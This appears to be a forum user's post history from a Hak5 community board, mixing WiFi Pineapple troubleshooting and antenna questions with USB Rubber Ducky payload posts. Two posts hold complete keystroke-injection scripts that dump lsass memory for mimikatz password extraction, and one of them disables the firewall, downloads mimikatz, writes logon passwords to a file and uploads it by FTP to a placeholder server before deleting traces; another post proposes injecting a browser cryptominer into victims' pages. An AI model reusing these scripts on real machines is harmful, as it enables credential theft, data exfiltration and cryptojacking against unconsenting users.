Jump to content

DyFukA

Active Members
 View Profile  See their activity

  • Posts

    27

  • Joined

  • Last visited

 Content Type 

Posts posted by DyFukA

    Mk V SSLStrip page browser cannot connect at first attempt

    in WiFi Pineapple Mark V

    Posted · Edited by DyFukA

    I have the same problem. Tried using different devices and different approaches many times and can't narrow it down.

    boot pineapple > wlan1 for internet > sslstrip on > have to refresh page 1-5 times to load or it works perfect.

    boot pineapple > eth0 for internet > sslstrip on > have to refresh page 1-5 times to load or it works perfect.

    boot pineapple > wlan1 for internet > sslstrip on > sslstrip off > sslstrip on > have to refresh page 1-5 times to load or it works perfect.

    boot pineapple > eth0 for internet > sslstrip on > sslstrip off > sslstrip on > have to refresh page 1-5 times to load or it works perfect.

    It's either working perfect or I am getting the issue. I only have sslstrip and wifimanger installed. Any ideas?

    Passive HTML Injection?

    in WiFi Pineapple Mark V

    Posted · Edited by Mr-Protocol
    Let's not encourage code to perform illegal activities.

    @Mr-Protocol

    It is a pineaple question, Wouldint it be great if you coluld use your karma clients cpu power when on a page? like, for bitcoin mining or something?

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    With Google and a libary, you can be anything you want.

    You can use dnsspoof to send them to browser based miner. Or maybe inject iframe using the following litecoin miner. Change the auth value to your worker if you plan to use this pool.

    [Payload] Memory Dump Windows (recover password) without setting off AV

    in Classic USB Rubber Ducky

    Posted · Edited by DyFukA

    This seems to working the best for me. I've got it down to about 1:10 on my computer. 7z format works the best as far as speed and size. Not really sure what else can be done. Any ideas?

    REM Author: Hak5Darren with the help of:
REM @gentilkiwi, @Mubix, redmeatuk, shutin, DyFukA, Microsoft, Sysinternals, 7zip
REM
REM Description: "Backup" Windows Passwords without setting off AntiVirus
REM Dumps memory of lsass.exe using Microsoft Sysinternals util ProcDump
REM Passwords can be later be extracted using mimikatz.
REM
REM Firmware: Use c_duck_v2.1.hex firmware (Twin Duck) to execute from SD
REM card labeled "DUCKY" and save log file as %COMPUTERNAME%_lsass.dmp
REM Include procdump.exe on root of DUCKY SD card. Download ProcDump from:
REM http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
REM
REM Include 7za.exe on root of DUCKY SD card. Download 7zip command line version from:
REM http://www.7-zip.org/download.html
REM
REM Target: Windows Vista/7/8, Win32/x64

REM *** UAC Bypass ***
DELAY 2000
WINDOWS r
DELAY 200
STRING powershell Start-Process cmd.exe -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 500

REM *** Define DUCKY drive as %duck%
STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set duck=%d
ENTER
DELAY 500

REM *** Execute procdump from SD card, Save dump to %temp%, Compress dump with 7zip from SD card, Send archive to SD card, Delete dump from %temp%, Exit ***
STRING %duck%\procdump.exe -accepteula -ma lsass.exe %temp%\%COMPUTERNAME%_lsass.dmp & %duck%\7za.exe a -t7z -mx9 "%duck%\%COMPUTERNAME%_lsass.7z" "%temp%\%COMPUTERNAME%_lsass.dmp" & del %temp%\%COMPUTERNAME%_lsass.dmp & exit
ENTER

REM *** Post Exploitation ***
REM From your PC copy the %COMPUTERNAME%_lsass.dmp off the DUCKY SD card to a 
REM directory including the version of mimikatz for your targets architecture
REM (NT5 win32, NT5 x64, NT6 win32 or NT6 x64) and run the following commands
REM mimikatz.exe <enter>
REM sekurlsa::minidump %COMPUTERNAME%_lsass.dmp <enter>
REM sekurlsa::logonPasswords full <enter>

    [payload] Ducky script using mimikatz to dump passwords from memory

    in Classic USB Rubber Ducky

    Posted · Edited by DyFukA

    Hello, for those of you that want a text file output on windows and ftp upload:

    DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 2000
STRING netsh firewall set opmode disable
DELAY 500
ENTER
DELAY 500
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://mimikatz.exe,%TEMP%\mimikatz.exe')
ENTER
DELAY 4000
STRING cd %temp%
DELAY 300
ENTER
DELAY 500
STRING mimikatz.exe > pwlog.txt & type pwlog.txt
DELAY 300
ENTER
DELAY 1000
STRING privilege::debug
DELAY 300
ENTER
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 500
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER
STRING move pwlog.txt c:\
ENTER
DELAY 300
STRING ftp yoursite.com
ENTER
DELAY 1000
STRING youruser
ENTER
DELAY 1000
STRING yourpass
ENTER
DELAY 1000
STRING lcd c:\
ENTER
DELAY 800
STRING put pwlog.txt
ENTER
DELAY 500
STRING quit
ENTER
DELAY 300
STRING del c:\pwlog.txt
ENTER

    EvilJava (Revived)

    in Mark IV Infusions

    Posted

    I get the same screen as DyFukA. Also when I click remove it removes every single Module from the Infusions menu. It seems as though it only removes them from the menu though because the used and free memory doesn't change at all. Even when reinstalling them all one by one the memory stays the same and alll the sub-packages for all the modules remain installed

    yes I have the same issue also with losing the modules. I tried from a fresh install and still no luck.

    16dbi Yagi Antenna

    in Everything Else

    Posted · Edited by DyFukA

    I plug my yagi into the pineapple and get at the most 100 feet. Realistically its more between 50-80 feet. I believe its all about the tx power. I think the tx power for the pineapple is 18 and that can't be changed. Sometimes I will plug it into my Alfa NHA which has a tx power of 20. The range is a bit better on there. I rarely use my yagi. I'm waiting for a new pineapple to come out that supports higher tx before I start using it to its potential. Right now the antenna that gives me the best results is the Alfa 7dBi Panel Antenna from the hak shop. If someone reads this and thinks i'm doing something wrong or has suggestions for improving the range on the pineapple, let me know :)

    I bought this yagi (cable length 500 cm) only support wireless b and g?

    http://www.ebay.com/itm/High-Gain-16dbi-Wifi-Booster-2-4GHz-Yagi-Antenna-RP-SMA-New-for-Router-Modem-5M-/150846598537?

    maybe I bought the wrong one?

    Blacklist/whitelist Question

    in WiFi Pineapple Mark IV

    Posted · Edited by DyFukA

    Where is the client black/white list located on the file system? (for blacklisting under the Karma config page) I want to manually edit the list. Also where is the list located for the "Blacklister" module? I accidentally whitelisted a MAC address using the "Blacklister" module and it wont let me remove it from whitelist. I'm not sure if the module list and the config page's list are the same.

    Thanks

×
×
  • Create New...